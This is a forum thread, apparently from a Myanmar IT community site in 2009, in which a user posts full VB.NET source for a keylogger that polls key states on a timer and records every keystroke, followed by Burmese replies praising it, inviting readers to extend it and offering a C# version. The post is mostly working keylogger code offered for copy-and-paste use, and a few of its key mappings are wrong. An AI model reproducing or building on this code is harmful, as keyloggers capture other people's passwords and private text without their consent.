Myanmar IT Resource Forum
Myanmar IT Resource Forum
Myanmar IT Resource Forum

You are not connected. Please login or register

View previous topic View next topic Go down  Message [Page 1 of 1]

1Advanced Keylogger in VB.NET [Programming] Empty Advanced Keylogger in VB.NET [Programming] 24th April 2009, 12:56 pm

sHa92

sHa92
Founder



Founder
Create a textbox and a timer (Interval = 10) then Copy/Paste

Code:

Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
    Public Function getCapslock() As Boolean
        On Error Resume Next
        getCapslock = CBool(GetKeyState(System.Windows.Forms.Keys.Capital) And 1)
    End Function
    Public Function getShift() As Boolean
        On Error Resume Next
        getShift = CBool(GetAsyncKeyState(System.Windows.Forms.Keys.ShiftKey))
    End Function
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error Resume Next
        Dim i As Object
        Dim Pressed As Object
        Dim LineLimit As Int32 = 69
        Dim Key As Object
        On Error Resume Next
        Pressed = GetAsyncKeyState(13)
        If Pressed = -32767 Then
            Key = "[EN]"
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(8)
        If Pressed = -32767 Then
            Key = "[BS]"
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(32)
        If Pressed = -32767 Then
            Key = " "
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(186)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = ";"
            Else
                Key = ":"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(187)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "="
            Else
                Key = "+"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(188)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = ","
            Else
                Key = "<"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(189)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "-"
            Else
                Key = "_"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(190)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "."
            Else
                Key = ">"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(191)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "/"
            Else
                Key = "?"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(192)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "`"
            Else
                Key = "~"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(96)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "0"
            Else
                Key = ")"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(97)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "1"
            Else
                Key = "!"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(98)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "2"
            Else
                Key = "@"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(99)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "3"
            Else
                Key = "#"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(100)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "4"
            Else
                Key = "$"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(101)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "5"
            Else
                Key = "%"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(102)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "6"
            Else
                Key = "7"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(103)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "7"
            Else
                Key = "&"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(104)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "8"
            Else
                Key = "*"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(105)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "9"
            Else
                Key = "("
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(106)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "*"
            Else
                Key = ""
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(107)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "+"
            Else
                Key = "="
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(108)
        If Pressed = -32767 Then
            Key = ""
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(109)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "-"
            Else
                Key = "_"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(110)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "."
            Else
                Key = ">"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(111)
        If Pressed = -32767 Then
            Key = "/"
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(2)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "/"
            Else
                Key = "?"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(220)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = ""
            Else
                Key = "|"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(222)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "'"
            Else
                Key = Chr(34)
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(221)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "]"
            Else
                Key = "}"
            End If
            GoTo KeyFound
        End If
        Pressed = GetAsyncKeyState(219)
        If Pressed = -32767 Then
            If getShift() = False Then
                Key = "["
            Else
                Key = "{"
            End If
            GoTo KeyFound
        End If
        For i = 65 To 128
            Pressed = GetAsyncKeyState(i)
            If Pressed = -32767 Then
                If getShift() = False Then
                    If getCapslock() = True Then
                        Key = UCase(Chr(i))
                    Else
                        Key = LCase(Chr(i))
                    End If
                Else
                    If getCapslock() = False Then
                        Key = UCase(Chr(i))
                    Else
                        Key = LCase(Chr(i))
                    End If
                End If
                GoTo KeyFound
            End If
        Next i
        For i = 48 To 57
            Pressed = GetAsyncKeyState(i)
            If Pressed = -32767 Then
                If getShift() = True Then
                    Select Case Val(Chr(i))
                        Case 1
                            Key = "!"
                        Case 2
                            Key = "@"
                        Case 3
                            Key = "#"
                        Case 4
                            Key = "$"
                        Case 5
                            Key = "%"
                        Case 6
                            Key = "^"
                        Case 7
                            Key = "&"
                        Case 8
                            Key = "*"
                        Case 9
                            Key = "("
                        Case 0
                            Key = ")"
                    End Select
                Else
                    Key = Chr(i)
                End If
                GoTo KeyFound
            End If
        Next i
        Exit Sub
KeyFound:
        If Key <> "" Then
            Textbox1.AppendText(Key)
        End If
    End Sub
End Class

ဘယ္လုိ ဘယ္ပံု အသံုးခ်ရတယ္ဆုိတာ ေတာ့ မိမိရဲ႕ ဥာဏ္စြမ္းရိွသေလာက္ တုိးခ်ဲ႕ အသံုးခ်နိုင္ပါတယ္

အဆင္ေၿပေၿပ ကလိနုိင္ၾကပါေစ Razz

http://www.myanmaritresource.info

nay@zaw

nay@zaw
VIP Member



VIP Member
keylogger ေ္လးပါလား ။ အရင္တုန္း က keylogger တခု ကို C# နဲ႔က်ေနာ္ ေရးထားတာေလးရွီတယ္ ။ ဘယ္ေရာက္ေနလည္းေတာ့မသိေတာ့ဘူး ။ ၿပန္ရွာၿပီးတင္ေပး အုန္းမယ္ ။ Smile

Cl0uD(FF7)

Cl0uD(FF7)
MITR Reader



MITR Reader
မ်ားျပားလိုက္တဲ့ if ေတြပါလား... Logic အေတာ္ေလးကိုပိုင္ပံုရတယ္ဗ်ာ..ခ်ီးက်ဴးပါတယ္...

sHa92

sHa92
Founder



Founder
nay@zaw wrote:keylogger ေ္လးပါလား ။ အရင္တုန္း က keylogger တခု ကို C# နဲ႔က်ေနာ္ ေရးထားတာေလးရွီတယ္ ။ ဘယ္ေရာက္ေနလည္းေတာ့မသိေတာ့ဘူး ။ ၿပန္ရွာၿပီးတင္ေပး အုန္းမယ္ ။ [You must be registered and logged in to see this image.]

C# နဲ႔ ဆုိရင္ေတာ့ က်ေနာ္ သိခ်င္တယ္ ၊ အခု က်ေနာ္က C# ေလ့လာေနတာဆုိေတာ့ ဗဟုသုတ ရခ်င္လုိ႔ပါ။

http://www.myanmaritresource.info

sHa92

sHa92
Founder



Founder
Cl0uD(FF7) wrote:မ်ားျပားလိုက္တဲ့ if ေတြပါလား... Logic အေတာ္ေလးကိုပိုင္ပံုရတယ္ဗ်ာ..ခ်ီးက်ဴးပါတယ္...

ဘာ Logic မွ မလိုဘူးဗ်။ Key ေတြလိုက္စစ္ၿပီး ဖိုင္နဲ႔ မွတ္လုိက္ရံုပါ။
က်ေနာ္ က နမူနာ ပရုိဂရမ္ကို ေတြ႔ဖူးလုိ႔ ၊ နည္းနည္း ၿပင္ေရးၾကည့္ထားရံုပါ။

http://www.myanmaritresource.info

Sponsored content


View previous topic View next topic Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum

 

Free forum | ©phpBB | Free forum support | Report an abuse | Forumotion.com